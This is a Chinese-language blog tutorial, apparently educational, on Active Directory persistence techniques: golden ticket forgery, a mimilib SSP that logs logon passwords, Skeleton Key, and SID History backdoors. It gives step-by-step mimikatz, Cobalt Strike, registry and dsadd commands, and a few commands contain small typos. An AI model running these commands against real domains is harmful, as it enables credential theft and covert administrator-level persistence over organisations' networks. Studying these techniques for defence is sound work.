域环境权限维持

2024-04-04 958 0

PTT

(1) 黄金票据伪造原理

KDC 返回的 Msg B:使用 TGS密钥(KDC HASH / KRBTGT用户NTLM HASH) 加密的 TGT (Ticket-Granting-Ticket),当我们获取到krbtgt用户的 NTLM 哈希后,便可主动使用 krbtgt 用户的NTLM 哈希做为 TGS 密钥来生成 TGT 发送给KDC,这样KDC如果通过解密伪造 TGT 获取到伪造的[CLIENT/TGS SESSIONKEY] 可以成功解密Authenticator 1 并完成与TGT中的数据进行比对,便成功骗过了KDC,也就是成功伪造了黄金票据

(2) 黄金票据伪造条件

  1. 域名称
  2. 域的SID值
  3. 域的 KRBTGT 账户密码 HASH
  4. 伪造用户名,可以是任意的

(3) 利用步骤

1、上线域控的beacon

2、获取所有域用户的HASH

mimikatz lsadump::dcsync/domain:mingy.local /all /csv

#获取指定的域控的krbtgt的hash

mimikatz lsadump::dcsync/user:krbtgt@域名

例如:

mimikatz lsadump::dcsync/user:[email protected]

3、获取当前用户的SID

shell whoami /all

4、使用cs注入黄金票据

域环境权限维持插图

域环境权限维持插图1

5、将黄金票据保存为文件

在下面注入命令中选中的命令后加上/ticket:golden.kirbi

域环境权限维持插图2

例如:

mimikatz kerberos::golden /user:administrator /domain:de1ay.com /sid:S-1-5-21-2756371121

-2868759905-3853650604 /krbtgt:82dfc71b72a11ef37d663047bc2088fb /ticket:golden.kirbi

6、将保存的黄金票据注入到目标机器的内存

(1)将黄金票据上传至目标机器

(2)将目标机器的票据全部清除

#beacon清除

mimikatz kerberos::purge

#使用目标命令清除

shell klist purge

(3)将黄金票据注入目标机器的内存

mimikatz kerberos::ptt golden.kiribi

7、生成正向beacon

8、使用portsan将域控扫描出来

9、使用psexec上线域控的beacon

域环境权限维持插图3

SSP(记录登录时的密码)

(1) SSP简介

SSP:security Support Provider ,一个用于身份验证的 dll

SSPI:Security Support Provider Interface,Windows 系统在执行认证操作所使用的API。

SSPI是SSP的API接口

LSA:Local Security Authority,用于身份认证,常见进程为 lsass.exe,特别的地方在于LSA是可扩展的,在系统启动的时候SSP会被加载到进程lsass.exe中.这相当于我们可以自定义一个dll,在系统启动的时候被加载到进程 lsass.exe 。

(2) 原理

1、系统在启动时 SSP 会被加载到 lsass.exe 进程中,由于 lsa 可扩展,导致在系统启动时我们可以加载一个自定义的 dll,一个用于记录所有登录到当前系统的明文账号密码的 dll, 利用mimikatz 中mimilib.dll 文件。

2、将 mimikatz 中的 mimilib.dll 放到系统的C:\Windows\system32目录下(DLL的位数需要与windows位数相同),并将 mimilib.dll 添加到注册表中,使用此方法即使系统重启,也不会影响到持久化的效果。

(3) 利用

一、

1、将dll文件上传至目标机器

copymimilib.dll %systemroot%\system32

2、查询Security Packages是否有值

reg query hklm\system\currentcontrolset\control\lsa\ /v "Security Packages"

3、向Security Packages中写入记录的参数

reg add "hklm\system\currentcontrolset\control\lsa" /v "Security Packages" /d "kerberos

\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u\0mimilib" /t REG_MULTI_SZ

注:需重启计算机

二、使用mimikatz

将mimikatz上传至目标机器,执行以下命令

mimikatz privilege::debug

mimikatz misc::memssp

Skeleton Key

(1) Skeleton Key简介

Skeleton Key是一种不需要域控重启即能生效的维持域控权限方法。

Skeleton Key被安装在64位的域控服务器上,支持 Windows Server2003—Windows Server2012R2 ,能够让所有域用户使用同一个万能密码进行登录,现有的所有域用户使用原密码仍能继续登录,注意并不能更改用户权限,重启后失效。

(2) 利用

1、在域控安装Skeleton Key

#上传mimikatz并执行以下命令

privilege::debug

misc::skeleton

2、域内主机使用Skeleton Key登录域控(在beacon中执行)

#mimikatz的默认Skeleton Key设置为mimikatz,Skeleton Key只是给所有账户添加了一个万能密码,无法修改账户的权限

shell met use \\域控主机名 /user:administrator@域 mimikatz

SID History

(1) SID简介

每个用户都有自己的SID。SID的作用主要是跟踪安全主体控制用户连接资源时的访问权限。

SID History是在域迁移过程中需要使用的一个属性。

如果将A域中的域用户迁移到B域中,那么在B域中该用户的SID会随之改变,进而影响迁移后用户的权限,导致迁移后的用户不能访问本来可以访问的资源。

SID History的作用是在域迁移过程中保持域用户的访问权限,即如果迁移后用户的SID改变了,系统会将其原来的SID添加到迁移后用户的SID History属性中,使迁移后的用户保持原有权限、能够访问其原来可以访问的资源。使用mimikatz,可以将SID History属性添加到域中任意用户的SID History属性中。在实战中,如果获得了域管理员权限,则可以将SID History作为实现持久化的方法。

(2) 利用

1、域控上添加并启用域账户

dsadd user cn=用户名,dc=域名,dc=域后缀 -disabled no -pwd 密码

2、Mimikatz添加后门

privilege::debug

sid::patch

sid::add /sam:用户名 /new:administrator

3、PowerShell查看用户的SID History

Import-Module ActiveDirectory

Get-ADUser 用户名 -Properties sidhistory

注:如果有结尾时500的id表示利用成功


4A评测 - 免责申明

本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。

不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。

本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。

如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!

程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。

侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)

相关文章

webpack打包站点,js文件名批量获取思路
加密对抗靶场enctypt——labs通关
【论文速读】| 注意力是实现基于大语言模型的代码漏洞定位的关键
蓝队技术——Sysmon识别检测宏病毒
内网渗透学习|powershell上线cs
LLM attack中的API调用安全问题及靶场实践

发布评论